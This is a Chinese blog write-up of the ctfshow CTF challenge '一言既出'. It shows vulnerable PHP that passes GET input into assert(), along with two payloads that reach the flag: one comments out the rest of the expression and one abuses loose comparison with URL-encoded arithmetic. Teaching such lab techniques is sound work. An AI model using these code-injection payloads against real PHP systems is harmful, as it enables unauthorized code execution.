首页 > 其他分享 >ctfshow 一言既出

ctfshow 一言既出

时间:2024-11-12 22:29:45浏览次数:1  
标签:1919810 assert num ctfshow 一言既出 114514

这道题目代码如下

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

先了解下assert函数的功能:断言检测,若包含的表达式为true则返回1,否则抛出错误并返回0;

所以这道题我们要想办法绕过assert或者直接把他后面的内容那个注释掉;

1.构造payload:

?num=114514);//

这样构造出assert("intval(114514);//(//是php的注释符)就能跳转到echo $flag

2.使用加减法绕过使num既可以是114514也可以是1919810:

由于这里出现弱比较,我们可以在114514后面套上任意字符(非数字)使得满足弱比较然后通过运算使结果为1919810

114514+1805296即可,但是注意传参的时候对加号进行url编码(get请求会自动对传入数据进行一次url解码);

payload:

?num=114514%2B1805296

参考文章:ctfshow菜狗 web 一言既出_一言既出 ctf-CSDN博客

标签:1919810,assert,num,ctfshow,一言既出,114514
From: https://www.cnblogs.com/c1432/p/18542802

相关文章

  • ctfshow(316)--XSS漏洞--反射性XSS
    Web316进入界面:审计显示是关于反射性XSS的题目。思路首先想到利用XSS平台解题,看其他师傅的wp提示flag是在cookie中。当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。但是这里我使用XSS平台,显示的cookie还是这样,并不能得到flag。该方法先作罢。于是......
  • ctfshow(162)--文件上传漏洞--远程文件包含
    Web162进入界面:思路先传个文件测试一下过滤:过滤了特别多符号,注意过滤了点.我们的思路还是要先上传.user.ini文件://修改前GIF89aauto_prepend_file=shell.png//由于过滤了点,所以修改为GIF89aauto_prepend_file=shell上传.user.ini文件接下来就是上传包含一......
  • ctfshow(94,95)--PHP特性--strpos函数
    建议先学习intval函数相关内容Web94源代码:include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){$num=$_GET['num'];if($num==="4476"){die("nonono!");}if(preg_match("......
  • ctfshow web入门 文件上传
    CtfshowWeb入门151 查看源代码,发现只能上传.png的文件用bp抓包.png的图片格式添加一句话木马,文件格式修改成.php   对于上传成功的后门代码,直接通过hackbar发送post包利用php内置system()函数执行  查看flag.php文件   152和上一题做题步骤一样......
  • ctfshow-web入门-爆破(24)
    1.根据题目提示:参考PHP随机数的伪随机数mt_srand(seed);函数播种MersenneTwister随机数生成器。seed,可选。从PHP4.2.0开始,随机数生成器自动播种,因此没有必要使用该函数因此不需要播种,并且如果设置了seed参数生成的随机数就是伪随机数,意思就是每次生成的随机数是一......
  • ctfshow(151->154)--文件上传漏洞--.user.ini
    Web151进入界面:审计:提示是前台校验。存在图片上传。思路:先编写一个一句话木马文件://shell.php<?php@eval($_POST[1]);?>既然是前端校验,我们查看页面源代码找到相关的校验内容:说明只允许上传.png后缀的文件。我们修改代码为允许上传.php文件:然后上传一句话......
  • ctfshow(171,172,173)--SQL注入--联合注入
    Web171进入靶场,是一个SQL查询界面:审计:查询语句如下:$sql="selectusername,passwordfromuserwhereusername!='flag'andid='".$_GET['id']."'limit1;";语句功能从数据表user中查询username,password两个字段。查询条件是username!='fla......
  • ctfshow的sql注入解题思路171-211
    ctfshow-SQL注入web171:爆库名->爆表名->爆字段名->爆字段值-1'unionselect1,database(),3--+//返回数据库名-1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='库名'--+//获取数据库里的表名-1'unionselect......
  • ctfshow web入门命令执行——web29-40题解
    web291.传入c参数来进行代码执行,payload: c=system("catfla*.php");  如图2.浏览器默认不显示php的标签所以需要右键查看源代码web30题目过滤了命令执行函数system,还可以用passthur(),过滤的字符可以用?代替单个字符。payload:?c=passthur("catfla?.p?p");查看源......
  • ctfshow-pwn-前置基础(20-22)
    pwn20-pwn22是关于.got节跟.got.plt节的。这3道题的问题描述全是一样的,全都是问.got跟.got.plt是否可写以及他们的地址是什么,然后根据这些信息来拼成flag。那么关于.got和.got.plt的内容非常复杂,这里呢我也不解释了,推荐一个牛逼的博主的文章,大家可以自行去了解一下这两个节。聊聊......